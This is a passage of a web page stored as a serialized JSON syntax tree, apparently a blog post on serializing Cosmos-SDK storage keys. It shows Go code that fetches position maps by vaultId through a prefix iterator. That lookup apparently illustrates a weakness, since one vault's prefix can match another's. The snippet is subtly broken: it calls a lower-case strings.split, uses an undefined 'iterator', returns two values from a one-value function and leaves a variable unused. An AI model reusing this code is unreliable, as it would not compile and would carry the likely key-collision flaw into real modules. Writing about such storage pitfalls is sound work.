type":31,"value":85849},{"type":25,"tag":201,"props":88961,"children":88962},{"style":220},[88963],{"type":31,"value":275},{"type":25,"tag":201,"props":88965,"children":88966},{"class":203,"line":977},[88967,88971,88975,88979],{"type":25,"tag":201,"props":88968,"children":88969},{"style":246},[88970],{"type":31,"value":86945},{"type":25,"tag":201,"props":88972,"children":88973},{"style":261},[88974],{"type":31,"value":77500},{"type":25,"tag":201,"props":88976,"children":88977},{"style":214},[88978],{"type":31,"value":86648},{"type":25,"tag":201,"props":88980,"children":88981},{"style":220},[88982],{"type":31,"value":4970},{"type":25,"tag":201,"props":88984,"children":88985},{"class":203,"line":994},[88986,88990,88994],{"type":25,"tag":201,"props":88987,"children":88988},{"style":220},[88989],{"type":31,"value":87539},{"type":25,"tag":201,"props":88991,"children":88992},{"style":4925},[88993],{"type":31,"value":85849},{"type":25,"tag":201,"props":88995,"children":88996},{"style":220},[88997],{"type":31,"value":547},{"type":25,"tag":201,"props":88999,"children":89000},{"class":203,"line":1016},[89001,89005,89009,89013,89017,89021,89025,89029],{"type":25,"tag":201,"props":89002,"children":89003},{"style":246},[89004],{"type":31,"value":87555},{"type":25,"tag":201,"props":89006,"children":89007},{"style":220},[89008],{"type":31,"value":80},{"type":25,"tag":201,"props":89010,"children":89011},{"style":214},[89012],{"type":31,"value":86685},{"type":25,"tag":201,"props":89014,"children":89015},{"style":220},[89016],{"type":31,"value":298},{"type":25,"tag":201,"props":89018,"children":89019},{"style":214},[89020],{"type":31,"value":10643},{"type":25,"tag":201,"props":89022,"children":89023},{"style":220},[89024],{"type":31,"value":298},{"type":25,"tag":201,"props":89026,"children":89027},{"style":246},[89028],{"type":31,"value":86555},{"type":25,"tag":201,"props":89030,"children":89031},{"style":220},[89032],{"type":31,"value":86706},{"type":25,"tag":201,"props":89034,"children":89035},{"class":203,"line":1089},[89036],{"type":25,"tag":201,"props":89037,"children":89038},{"style":220},[89039],{"type":31,"value":25405},{"type":25,"tag":201,"props":89041,"children":89042},{"class":203,"line":1107},[89043,89047,89051,89055,89059,89063,89067,89071],{"type":25,"tag":201,"props":89044,"children":89045},{"style":246},[89046],{"type":31,"value":86676},{"type":25,"tag":201,"props":89048,"children":89049},{"style":220},[89050],{"type":31,"value":80},{"type":25,"tag":201,"props":89052,"children":89053},{"style":214},[89054],{"type":31,"value":86730},{"type":25,"tag":201,"props":89056,"children":89057},{"style":220},[89058],{"type":31,"value":298},{"type":25,"tag":201,"props":89060,"children":89061},{"style":246},[89062],{"type":31,"value":86639},{"type":25,"tag":201,"props":89064,"children":89065},{"style":220},[89066],{"type":31,"value":919},{"type":25,"tag":201,"props":89068,"children":89069},{"style":246},[89070],{"type":31,"value":86555},{"type":25,"tag":201,"props":89072,"children":89073},{"style":220},[89074],{"type":31,"value":4666},{"type":25,"tag":201,"props":89076,"children":89077},{"class":203,"line":1116},[89078],{"type":25,"tag":201,"props":89079,"children":89080},{"emptyLinePlaceholder":17},[89081],{"type":31,"value":496},{"type":25,"tag":201,"props":89083,"children":89084},{"class":203,"line":1124},[89085,89089,89093,89097],{"type":25,"tag":201,"props":89086,"children":89087},{"style":246},[89088],{"type":31,"value":88082},{"type":25,"tag":201,"props":89090,"children":89091},{"style":261},[89092],{"type":31,"value":77500},{"type":25,"tag":201,"props":89094,"children":89095},{"style":214},[89096],{"type":31,"value":86648},{"type":25,"tag":201,"props":89098,"children":89099},{"style":220},[89100],{"type":31,"value":4970},{"type":25,"tag":201,"props":89102,"children":89103},{"class":203,"line":1163},[89104,89108,89112],{"type":25,"tag":201,"props":89105,"children":89106},{"style":220},[89107],{"type":31,"value":87539},{"type":25,"tag":201,"props":89109,"children":89110},{"style":4925},[89111],{"type":31,"value":85849},{"type":25,"tag":201,"props":89113,"children":89114},{"style":220},[89115],{"type":31,"value":547},{"type":25,"tag":201,"props":89117,"children":89118},{"class":203,"line":1172},[89119,89123,89127,89131,89135,89139,89143,89147],{"type":25,"tag":201,"props":89120,"children":89121},{"style":246},[89122],{"type":31,"value":87555},{"type":25,"tag":201,"props":89124,"children":89125},{"style":220},[89126],{"type":31,"value":80},{"type":25,"tag":201,"props":89128,"children":89129},{"style":214},[89130],{"type":31,"value":86685},{"type":25,"tag":201,"props":89132,"children":89133},{"style":220},[89134],{"type":31,"value":298},{"type":25,"tag":201,"props":89136,"children":89137},{"style":214},[89138],{"type":31,"value":10643},{"type":25,"tag":201,"props":89140,"children":89141},{"style":220},[89142],{"type":31,"value":298},{"type":25,"tag":201,"props":89144,"children":89145},{"style":246},[89146],{"type":31,"value":87925},{"type":25,"tag":201,"props":89148,"children":89149},{"style":220},[89150],{"type":31,"value":86706},{"type":25,"tag":201,"props":89152,"children":89153},{"class":203,"line":1181},[89154],{"type":25,"tag":201,"props":89155,"children":89156},{"style":220},[89157],{"type":31,"value":25405},{"type":25,"tag":201,"props":89159,"children":89160},{"class":203,"line":1190},[89161,89165,89169,89173,89177,89181,89185,89189],{"type":25,"tag":201,"props":89162,"children":89163},{"style":246},[89164],{"type":31,"value":86676},{"type":25,"tag":201,"props":89166,"children":89167},{"style":220},[89168],{"type":31,"value":80},{"type":25,"tag":201,"props":89170,"children":89171},{"style":214},[89172],{"type":31,"value":86730},{"type":25,"tag":201,"props":89174,"children":89175},{"style":220},[89176],{"type":31,"value":298},{"type":25,"tag":201,"props":89178,"children":89179},{"style":246},[89180],{"type":31,"value":88175},{"type":25,"tag":201,"props":89182,"children":89183},{"style":220},[89184],{"type":31,"value":919},{"type":25,"tag":201,"props":89186,"children":89187},{"style":246},[89188],{"type":31,"value":87925},{"type":25,"tag":201,"props":89190,"children":89191},{"style":220},[89192],{"type":31,"value":4666},{"type":25,"tag":201,"props":89194,"children":89195},{"class":203,"line":1198},[89196],{"type":25,"tag":201,"props":89197,"children":89198},{"emptyLinePlaceholder":17},[89199],{"type":31,"value":496},{"type":25,"tag":201,"props":89201,"children":89202},{"class":203,"line":1220},[89203,89207,89211,89215,89219,89223],{"type":25,"tag":201,"props":89204,"children":89205},{"style":246},[89206],{"type":31,"value":87759},{"type":25,"tag":201,"props":89208,"children":89209},{"style":261},[89210],{"type":31,"value":77500},{"type":25,"tag":201,"props":89212,"children":89213},{"style":246},[89214],{"type":31,"value":83318},{"type":25,"tag":201,"props":89216,"children":89217},{"style":220},[89218],{"type":31,"value":80},{"type":25,"tag":201,"props":89220,"children":89221},{"style":214},[89222],{"type":31,"value":86307},{"type":25,"tag":201,"props":89224,"children":89225},{"style":220},[89226],{"type":31,"value":4970},{"type":25,"tag":201,"props":89228,"children":89229},{"class":203,"line":82035},[89230,89234],{"type":25,"tag":201,"props":89231,"children":89232},{"style":267},[89233],{"type":31,"value":88784},{"type":25,"tag":201,"props":89235,"children":89236},{"style":220},[89237],{"type":31,"value":547},{"type":25,"tag":201,"props":89239,"children":89240},{"class":203,"line":82048},[89241,89246],{"type":25,"tag":201,"props":89242,"children":89243},{"style":246},[89244],{"type":31,"value":89245},"        AddressMapPrefix",{"type":25,"tag":201,"props":89247,"children":89248},{"style":220},[89249],{"type":31,"value":547},{"type":25,"tag":201,"props":89251,"children":89252},{"class":203,"line":82056},[89253,89257],{"type":25,"tag":201,"props":89254,"children":89255},{"style":246},[89256],{"type":31,"value":87799},{"type":25,"tag":201,"props":89258,"children":89259},{"style":220},[89260],{"type":31,"value":547},{"type":25,"tag":201,"props":89262,"children":89263},{"class":203,"line":82064},[89264,89268],{"type":25,"tag":201,"props":89265,"children":89266},{"style":246},[89267],{"type":31,"value":87811},{"type":25,"tag":201,"props":89269,"children":89270},{"style":220},[89271],{"type":31,"value":547},{"type":25,"tag":201,"props":89273,"children":89274},{"class":203,"line":82072},[89275,89279],{"type":25,"tag":201,"props":89276,"children":89277},{"style":246},[89278],{"type":31,"value":87823},{"type":25,"tag":201,"props":89280,"children":89281},{"style":220},[89282],{"type":31,"value":547},{"type":25,"tag":201,"props":89284,"children":89285},{"class":203,"line":82112},[89286,89290],{"type":25,"tag":201,"props":89287,"children":89288},{"style":246},[89289],{"type":31,"value":87811},{"type":25,"tag":201,"props":89291,"children":89292},{"style":220},[89293],{"type":31,"value":547},{"type":25,"tag":201,"props":89295,"children":89296},{"class":203,"line":82120},[89297,89301],{"type":25,"tag":201,"props":89298,"children":89299},{"style":246},[89300],{"type":31,"value":88284},{"type":25,"tag":201,"props":89302,"children":89303},{"style":220},[89304],{"type":31,"value":547},{"type":25,"tag":201,"props":89306,"children":89308},{"class":203,"line":89307},60,[89309],{"type":25,"tag":201,"props":89310,"children":89311},{"style":220},[89312],{"type":31,"value":25405},{"type":25,"tag":201,"props":89314,"children":89316},{"class":203,"line":89315},61,[89317],{"type":25,"tag":201,"props":89318,"children":89319},{"style":220},[89320],{"type":31,"value":1187},{"type":25,"tag":34,"props":89322,"children":89323},{},[89324],{"type":31,"value":89325},"We now have a proper example of how to serialize storage keys.",{"type":25,"tag":34,"props":89327,"children":89328},{},[89329,89331,89336],{"type":31,"value":89330},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":25,"tag":115,"props":89332,"children":89334},{"className":89333},[],[89335],{"type":31,"value":68183},{"type":31,"value":89337},", data should still be retrievable through original keys.",{"type":25,"tag":34,"props":89339,"children":89340},{},[89341,89343,89349,89351,89356],{"type":31,"value":89342},"Let's look at a case where we want to retrieve all ",{"type":25,"tag":115,"props":89344,"children":89346},{"className":89345},[],[89347],{"type":31,"value":89348},"map[Username]map[PositionName]Position",{"type":31,"value":89350}," associated with a ",{"type":25,"tag":115,"props":89352,"children":89354},{"className":89353},[],[89355],{"type":31,"value":86219},{"type":31,"value":89357}," from the storage. How can we safely accomplish this?",{"type":25,"tag":34,"props":89359,"children":89360},{},[89361,89363,89368,89370,89376],{"type":31,"value":89362},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":25,"tag":115,"props":89364,"children":89366},{"className":89365},[],[89367],{"type":31,"value":86290},{"type":31,"value":89369}," prefix. Below is an example of an attempt to fetch data with ",{"type":25,"tag":115,"props":89371,"children":89373},{"className":89372},[],[89374],{"type":31,"value":89375},"vaultId",{"type":31,"value":5997},{"type":25,"tag":191,"props":89378,"children":89380},{"code":89379,"language":77248,"meta":7,"className":77249,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[89381],{"type":25,"tag":115,"props":89382,"children":89383},{"__ignoreMap":7},[89384,89400,89415,89464,89516,89545,89557,89603,89610,89656,89711,89718,89782,89843,89866,89885,89892,89899,89959,90018,90041,90060,90067,90074,90127,90175,90182,90189,90229,90258,90265,90272,90284],{"type":25,"tag":201,"props":89385,"children":89386},{"class":203,"line":204},[89387,89391,89396],{"type":25,"tag":201,"props":89388,"children":89389},{"style":208},[89390],{"type":31,"value":77384},{"type":25,"tag":201,"props":89392,"children":89393},{"style":214},[89394],{"type":31,"value":89395}," FetchPositionMapWithVaultId",{"type":25,"tag":201,"props":89397,"children":89398},{"style":220},[89399],{"type":31,"value":4970},{"type":25,"tag":201,"props":89401,"children":89402},{"class":203,"line":226},[89403,89407,89411],{"type":25,"tag":201,"props":89404,"children":89405},{"style":246},[89406],{"type":31,"value":86331},{"type":25,"tag":201,"props":89408,"children":89409},{"style":4925},[89410],{"type":31,"value":77505},{"type":25,"tag":201,"props":89412,"children":89413},{"style":220},[89414],{"type":31,"value":547},{"type":25,"tag":201,"props":89416,"children":89417},{"class":203,"line":278},[89418,89423,89427,89431,89435,89439,89443,89447,89451,89455,89460],{"type":25,"tag":201,"props":89419,"children":89420},{"style":220},[89421],{"type":31,"value":89422},") ([]",{"type":25,"tag":201,"props":89424,"children":89425},{"style":208},[89426],{"type":31,"value":68183},{"type":25,"tag":201,"props":89428,"children":89429},{"style":220},[89430],{"type":31,"value":423},{"type":25,"tag":201,"props":89432,"children":89433},{"style":4925},[89434],{"type":31,"value":86236},{"type":25,"tag":201,"props":89436,"children":89437},{"style":220},[89438],{"type":31,"value":16907},{"type":25,"tag":201,"props":89440,"children":89441},{"style":208},[89442],{"type":31,"value":68183},{"type":25,"tag":201,"props":89444,"children":89445},{"style":220},[89446],{"type":31,"value":423},{"type":25,"tag":201,"props":89448,"children":89449},{"style":4925},[89450],{"type":31,"value":86253},{"type":25,"tag":201,"props":89452,"children":89453},{"style":220},[89454],{"type":31,"value":16907},{"type":25,"tag":201,"props":89456,"children":89457},{"style":4925},[89458],{"type":31,"value":89459},"Position",{"type":25,"tag":201,"props":89461,"children":89462},{"style":220},[89463],{"type":31,"value":275},{"type":25,"tag":201,"props":89465,"children":89466},{"class":203,"line":311},[89467,89472,89476,89480,89484,89488,89492,89496,89500,89504,89508,89512],{"type":25,"tag":201,"props":89468,"children":89469},{"style":246},[89470],{"type":31,"value":89471},"    values",{"type":25,"tag":201,"props":89473,"children":89474},{"style":261},[89475],{"type":31,"value":77500},{"type":25,"tag":201,"props":89477,"children":89478},{"style":208},[89479],{"type":31,"value":50746},{"type":25,"tag":201,"props":89481,"children":89482},{"style":220},[89483],{"type":31,"value":423},{"type":25,"tag":201,"props":89485,"children":89486},{"style":4925},[89487],{"type":31,"value":86236},{"type":25,"tag":201,"props":89489,"children":89490},{"style":220},[89491],{"type":31,"value":16907},{"type":25,"tag":201,"props":89493,"children":89494},{"style":208},[89495],{"type":31,"value":68183},{"type":25,"tag":201,"props":89497,"children":89498},{"style":220},[89499],{"type":31,"value":423},{"type":25,"tag":201,"props":89501,"children":89502},{"style":4925},[89503],{"type":31,"value":86253},{"type":25,"tag":201,"props":89505,"children":89506},{"style":220},[89507],{"type":31,"value":16907},{"type":25,"tag":201,"props":89509,"children":89510},{"style":4925},[89511],{"type":31,"value":89459},{"type":25,"tag":201,"props":89513,"children":89514},{"style":220},[89515],{"type":31,"value":79181},{"type":25,"tag":201,"props":89517,"children":89518},{"class":203,"line":330},[89519,89524,89528,89532,89536,89541],{"type":25,"tag":201,"props":89520,"children":89521},{"style":246},[89522],{"type":31,"value":89523},"    i",{"type":25,"tag":201,"props":89525,"children":89526},{"style":261},[89527],{"type":31,"value":77500},{"type":25,"tag":201,"props":89529,"children":89530},{"style":246},[89531],{"type":31,"value":79725},{"type":25,"tag":201,"props":89533,"children":89534},{"style":220},[89535],{"type":31,"value":80},{"type":25,"tag":201,"props":89537,"children":89538},{"style":214},[89539],{"type":31,"value":89540},"KVStorePrefixIterator",{"type":25,"tag":201,"props":89542,"children":89543},{"style":220},[89544],{"type":31,"value":4970},{"type":25,"tag":201,"props":89546,"children":89547},{"class":203,"line":397},[89548,89553],{"type":25,"tag":201,"props":89549,"children":89550},{"style":246},[89551],{"type":31,"value":89552},"        kvStore",{"type":25,"tag":201,"props":89554,"children":89555},{"style":220},[89556],{"type":31,"value":547},{"type":25,"tag":201,"props":89558,"children":89559},{"class":203,"line":437},[89560,89565,89569,89573,89577,89582,89586,89591,89595,89599],{"type":25,"tag":201,"props":89561,"children":89562},{"style":246},[89563],{"type":31,"value":89564},"        fmt",{"type":25,"tag":201,"props":89566,"children":89567},{"style":220},[89568],{"type":31,"value":80},{"type":25,"tag":201,"props":89570,"children":89571},{"style":214},[89572],{"type":31,"value":86307},{"type":25,"tag":201,"props":89574,"children":89575},{"style":220},[89576],{"type":31,"value":298},{"type":25,"tag":201,"props":89578,"children":89579},{"style":267},[89580],{"type":31,"value":89581},"\"%s%d\"",{"type":25,"tag":201,"props":89583,"children":89584},{"style":220},[89585],{"type":31,"value":919},{"type":25,"tag":201,"props":89587,"children":89588},{"style":246},[89589],{"type":31,"value":89590},"PositionMapPrefix",{"type":25,"tag":201,"props":89592,"children":89593},{"style":220},[89594],{"type":31,"value":919},{"type":25,"tag":201,"props":89596,"children":89597},{"style":246},[89598],{"type":31,"value":89375},{"type":25,"tag":201,"props":89600,"children":89601},{"style":220},[89602],{"type":31,"value":4666},{"type":25,"tag":201,"props":89604,"children":89605},{"class":203,"line":464},[89606],{"type":25,"tag":201,"props":89607,"children":89608},{"style":220},[89609],{"type":31,"value":25405},{"type":25,"tag":201,"props":89611,"children":89612},{"class":203,"line":490},[89613,89617,89622,89626,89630,89635,89639,89643,89647,89652],{"type":25,"tag":201,"props":89614,"children":89615},{"style":230},[89616],{"type":31,"value":4539},{"type":25,"tag":201,"props":89618,"children":89619},{"style":220},[89620],{"type":31,"value":89621}," ; ",{"type":25,"tag":201,"props":89623,"children":89624},{"style":246},[89625],{"type":31,"value":3641},{"type":25,"tag":201,"props":89627,"children":89628},{"style":220},[89629],{"type":31,"value":80},{"type":25,"tag":201,"props":89631,"children":89632},{"style":214},[89633],{"type":31,"value":89634},"Valid",{"type":25,"tag":201,"props":89636,"children":89637},{"style":220},[89638],{"type":31,"value":29933},{"type":25,"tag":201,"props":89640,"children":89641},{"style":246},[89642],{"type":31,"value":3641},{"type":25,"tag":201,"props":89644,"children":89645},{"style":220},[89646],{"type":31,"value":80},{"type":25,"tag":201,"props":89648,"children":89649},{"style":214},[89650],{"type":31,"value":89651},"Next",{"type":25,"tag":201,"props":89653,"children":89654},{"style":220},[89655],{"type":31,"value":223},{"type":25,"tag":201,"props":89657,"children":89658},{"class":203,"line":499},[89659,89664,89668,89673,89677,89681,89685,89689,89693,89698,89702,89707],{"type":25,"tag":201,"props":89660,"children":89661},{"style":246},[89662],{"type":31,"value":89663},"        k",{"type":25,"tag":201,"props":89665,"children":89666},{"style":261},[89667],{"type":31,"value":77500},{"type":25,"tag":201,"props":89669,"children":89670},{"style":246},[89671],{"type":31,"value":89672}," strings",{"type":25,"tag":201,"props":89674,"children":89675},{"style":220},[89676],{"type":31,"value":80},{"type":25,"tag":201,"props":89678,"children":89679},{"style":214},[89680],{"type":31,"value":71124},{"type":25,"tag":201,"props":89682,"children":89683},{"style":220},[89684],{"type":31,"value":298},{"type":25,"tag":201,"props":89686,"children":89687},{"style":246},[89688],{"type":31,"value":3641},{"type":25,"tag":201,"props":89690,"children":89691},{"style":220},[89692],{"type":31,"value":80},{"type":25,"tag":201,"props":89694,"children":89695},{"style":214},[89696],{"type":31,"value":89697},"Key",{"type":25,"tag":201,"props":89699,"children":89700},{"style":220},[89701],{"type":31,"value":19873},{"type":25,"tag":201,"props":89703,"children":89704},{"style":246},[89705],{"type":31,"value":89706},"Seperator",{"type":25,"tag":201,"props":89708,"children":89709},{"style":220},[89710],{"type":31,"value":4666},{"type":25,"tag":201,"props":89712,"children":89713},{"class":203,"line":522},[89714],{"type":25,"tag":201,"props":89715,"children":89716},{"emptyLinePlaceholder":17},[89717],{"type":31,"value":496},{"type":25,"tag":201,"props":89719,"children":89720},{"class":203,"line":531},[89721,89726,89730,89734,89739,89743,89747,89751,89755,89760,89764,89769,89773,89777],{"type":25,"tag":201,"props":89722,"children":89723},{"style":246},[89724],{"type":31,"value":89725},"        username",{"type":25,"tag":201,"props":89727,"children":89728},{"style":261},[89729],{"type":31,"value":77500},{"type":25,"tag":201,"props":89731,"children":89732},{"style":214},[89733],{"type":31,"value":86648},{"type":25,"tag":201,"props":89735,"children":89736},{"style":220},[89737],{"type":31,"value":89738},"([]",{"type":25,"tag":201,"props":89740,"children":89741},{"style":4925},[89742],{"type":31,"value":85849},{"type":25,"tag":201,"props":89744,"children":89745},{"style":220},[89746],{"type":31,"value":919},{"type":25,"tag":201,"props":89748,"children":89749},{"style":246},[89750],{"type":31,"value":86721},{"type":25,"tag":201,"props":89752,"children":89753},{"style":220},[89754],{"type":31,"value":80},{"type":25,"tag":201,"props":89756,"children":89757},{"style":214},[89758],{"type":31,"value":89759},"DecodedLen",{"type":25,"tag":201,"props":89761,"children":89762},{"style":220},[89763],{"type":31,"value":298},{"type":25,"tag":201,"props":89765,"children":89766},{"style":246},[89767],{"type":31,"value":89768},"k",{"type":25,"tag":201,"props":89770,"children":89771},{"style":220},[89772],{"type":31,"value":423},{"type":25,"tag":201,"props":89774,"children":89775},{"style":426},[89776],{"type":31,"value":429},{"type":25,"tag":201,"props":89778,"children":89779},{"style":220},[89780],{"type":31,"value":89781},"]))\n",{"type":25,"tag":201,"props":89783,"children":89784},{"class":203,"line":550},[89785,89789,89793,89797,89801,89806,89810,89815,89819,89823,89827,89831,89835,89839],{"type":25,"tag":201,"props":89786,"children":89787},{"style":246},[89788],{"type":31,"value":29232},{"type":25,"tag":201,"props":89790,"children":89791},{"style":220},[89792],{"type":31,"value":919},{"type":25,"tag":201,"props":89794,"children":89795},{"style":246},[89796],{"type":31,"value":49497},{"type":25,"tag":201,"props":89798,"children":89799},{"style":261},[89800],{"type":31,"value":77500},{"type":25,"tag":201,"props":89802,"children":89803},{"style":246},[89804],{"type":31,"value":89805}," hex",{"type":25,"tag":201,"props":89807,"children":89808},{"style":220},[89809],{"type":31,"value":80},{"type":25,"tag":201,"props":89811,"children":89812},{"style":214},[89813],{"type":31,"value":89814},"Decode",{"type":25,"tag":201,"props":89816,"children":89817},{"style":220},[89818],{"type":31,"value":298},{"type":25,"tag":201,"props":89820,"children":89821},{"style":246},[89822],{"type":31,"value":86555},{"type":25,"tag":201,"props":89824,"children":89825},{"style":220},[89826],{"type":31,"value":919},{"type":25,"tag":201,"props":89828,"children":89829},{"style":246},[89830],{"type":31,"value":89768},{"type":25,"tag":201,"props":89832,"children":89833},{"style":220},[89834],{"type":31,"value":423},{"type":25,"tag":201,"props":89836,"children":89837},{"style":426},[89838],{"type":31,"value":429},{"type":25,"tag":201,"props":89840,"children":89841},{"style":220},[89842],{"type":31,"value":56519},{"type":25,"tag":201,"props":89844,"children":89845},{"class":203,"line":563},[89846,89850,89854,89858,89862],{"type":25,"tag":201,"props":89847,"children":89848},{"style":230},[89849],{"type":31,"value":4779},{"type":25,"tag":201,"props":89851,"children":89852},{"style":246},[89853],{"type":31,"value":49598},{"type":25,"tag":201,"props":89855,"children":89856},{"style":261},[89857],{"type":31,"value":65467},{"type":25,"tag":201,"props":89859,"children":89860},{"style":208},[89861],{"type":31,"value":83002},{"type":25,"tag":201,"props":89863,"children":89864},{"style":220},[89865],{"type":31,"value":327},{"type":25,"tag":201,"props":89867,"children":89868},{"class":203,"line":572},[89869,89873,89877,89881],{"type":25,"tag":201,"props":89870,"children":89871},{"style":230},[89872],{"type":31,"value":80160},{"type":25,"tag":201,"props":89874,"children":89875},{"style":208},[89876],{"type":31,"value":83002},{"type":25,"tag":201,"props":89878,"children":89879},{"style":220},[89880],{"type":31,"value":919},{"type":25,"tag":201,"props":89882,"children":89883},{"style":246},[89884],{"type":31,"value":84723},{"type":25,"tag":201,"props":89886,"children":89887},{"class":203,"line":590},[89888],{"type":25,"tag":201,"props":89889,"children":89890},{"style":220},[89891],{"type":31,"value":4853},{"type":25,"tag":201,"props":89893,"children":89894},{"class":203,"line":608},[89895],{"type":25,"tag":201,"props":89896,"children":89897},{"emptyLinePlaceholder":17},[89898],{"type":31,"value":496},{"type":25,"tag":201,"props":89900,"children":89901},{"class":203,"line":617},[89902,89907,89911,89915,89919,89923,89927,89931,89935,89939,89943,89947,89951,89955],{"type":25,"tag":201,"props":89903,"children":89904},{"style":246},[89905],{"type":31,"value":89906},"        positionName",{"type":25,"tag":201,"props":89908,"children":89909},{"style":261},[89910],{"type":31,"value":77500},{"type":25,"tag":201,"props":89912,"children":89913},{"style":214},[89914],{"type":31,"value":86648},{"type":25,"tag":201,"props":89916,"children":89917},{"style":220},[89918],{"type":31,"value":89738},{"type":25,"tag":201,"props":89920,"children":89921},{"style":4925},[89922],{"type":31,"value":85849},{"type":25,"tag":201,"props":89924,"children":89925},{"style":220},[89926],{"type":31,"value":919},{"type":25,"tag":201,"props":89928,"children":89929},{"style":246},[89930],{"type":31,"value":86721},{"type":25,"tag":201,"props":89932,"children":89933},{"style":220},[89934],{"type":31,"value":80},{"type":25,"tag":201,"props":89936,"children":89937},{"style":214},[89938],{"type":31,"value":89759},{"type":25,"tag":201,"props":89940,"children":89941},{"style":220},[89942],{"type":31,"value":298},{"type":25,"tag":201,"props":89944,"children":89945},{"style":246},[89946],{"type":31,"value":89768},{"type":25,"tag":201,"props":89948,"children":89949},{"style":220},[89950],{"type":31,"value":423},{"type":25,"tag":201,"props":89952,"children":89953},{"style":426},[89954],{"type":31,"value":5516},{"type":25,"tag":201,"props":89956,"children":89957},{"style":220},[89958],{"type":31,"value":89781},{"type":25,"tag":201,"props":89960,"children":89961},{"class":203,"line":625},[89962,89966,89970,89974,89978,89982,89986,89990,89994,89998,90002,90006,90010,90014],{"type":25,"tag":201,"props":89963,"children":89964},{"style":246},[89965],{"type":31,"value":29232},{"type":25,"tag":201,"props":89967,"children":89968},{"style":220},[89969],{"type":31,"value":919},{"type":25,"tag":201,"props":89971,"children":89972},{"style":246},[89973],{"type":31,"value":49497},{"type":25,"tag":201,"props":89975,"children":89976},{"style":261},[89977],{"type":31,"value":77500},{"type":25,"tag":201,"props":89979,"children":89980},{"style":246},[89981],{"type":31,"value":89805},{"type":25,"tag":201,"props":89983,"children":89984},{"style":220},[89985],{"type":31,"value":80},{"type":25,"tag":201,"props":89987,"children":89988},{"style":214},[89989],{"type":31,"value":89814},{"type":25,"tag":201,"props":89991,"children":89992},{"style":220},[89993],{"type":31,"value":298},{"type":25,"tag":201,"props":89995,"children":89996},{"style":246},[89997],{"type":31,"value":86824},{"type":25,"tag":201,"props":89999,"children":90000},{"style":220},[90001],{"type":31,"value":919},{"type":25,"tag":201,"props":90003,"children":90004},{"style":246},[90005],{"type":31,"value":89768},{"type":25,"tag":201,"props":90007,"children":90008},{"style":220},[90009],{"type":31,"value":423},{"type":25,"tag":201,"props":90011,"children":90012},{"style":426},[90013],{"type":31,"value":5516},{"type":25,"tag":201,"props":90015,"children":90016},{"style":220},[90017],{"type":31,"value":56519},{"type":25,"tag":201,"props":90019,"children":90020},{"class":203,"line":642},[90021,90025,90029,90033,90037],{"type":25,"tag":201,"props":90022,"children":90023},{"style":230},[90024],{"type":31,"value":4779},{"type":25,"tag":201,"props":90026,"children":90027},{"style":246},[90028],{"type":31,"value":49598},{"type":25,"tag":201,"props":90030,"children":90031},{"style":261},[90032],{"type":31,"value":65467},{"type":25,"tag":201,"props":90034,"children":90035},{"style":208},[90036],{"type":31,"value":83002},{"type":25,"tag":201,"props":90038,"children":90039},{"style":220},[90040],{"type":31,"value":327},{"type":25,"tag":201,"props":90042,"children":90043},{"class":203,"line":659},[90044,90048,90052,90056],{"type":25,"tag":201,"props":90045,"children":90046},{"style":230},[90047],{"type":31,"value":80160},{"type":25,"tag":201,"props":90049,"children":90050},{"style":208},[90051],{"type":31,"value":83002},{"type":25,"tag":201,"props":90053,"children":90054},{"style":220},[90055],{"type":31,"value":919},{"type":25,"tag":201,"props":90057,"children":90058},{"style":246},[90059],{"type":31,"value":84723},{"type":25,"tag":201,"props":90061,"children":90062},{"class":203,"line":667},[90063],{"type":25,"tag":201,"props":90064,"children":90065},{"style":220},[90066],{"type":31,"value":4853},{"type":25,"tag":201,"props":90068,"children":90069},{"class":203,"line":676},[90070],{"type":25,"tag":201,"props":90071,"children":90072},{"emptyLinePlaceholder":17},[90073],{"type":31,"value":496},{"type":25,"tag":201,"props":90075,"children":90076},{"class":203,"line":694},[90077,90081,90085,90089,90093,90097,90102,90106,90110,90115,90119,90123],{"type":25,"tag":201,"props":90078,"children":90079},{"style":230},[90080],{"type":31,"value":4779},{"type":25,"tag":201,"props":90082,"children":90083},{"style":246},[90084],{"type":31,"value":63722},{"type":25,"tag":201,"props":90086,"children":90087},{"style":220},[90088],{"type":31,"value":919},{"type":25,"tag":201,"props":90090,"children":90091},{"style":246},[90092],{"type":31,"value":79851},{"type":25,"tag":201,"props":90094,"children":90095},{"style":261},[90096],{"type":31,"value":77500},{"type":25,"tag":201,"props":90098,"children":90099},{"style":246},[90100],{"type":31,"value":90101}," values",{"type":25,"tag":201,"props":90103,"children":90104},{"style":220},[90105],{"type":31,"value":423},{"type":25,"tag":201,"props":90107,"children":90108},{"style":246},[90109],{"type":31,"value":86555},{"type":25,"tag":201,"props":90111,"children":90112},{"style":220},[90113],{"type":31,"value":90114},"]; ",{"type":25,"tag":201,"props":90116,"children":90117},{"style":261},[90118],{"type":31,"value":4114},{"type":25,"tag":201,"props":90120,"children":90121},{"style":246},[90122],{"type":31,"value":79851},{"type":25,"tag":201,"props":90124,"children":90125},{"style":220},[90126],{"type":31,"value":327},{"type":25,"tag":201,"props":90128,"children":90129},{"class":203,"line":707},[90130,90135,90139,90143,90147,90151,90155,90159,90163,90167,90171],{"type":25,"tag":201,"props":90131,"children":90132},{"style":246},[90133],{"type":31,"value":90134},"            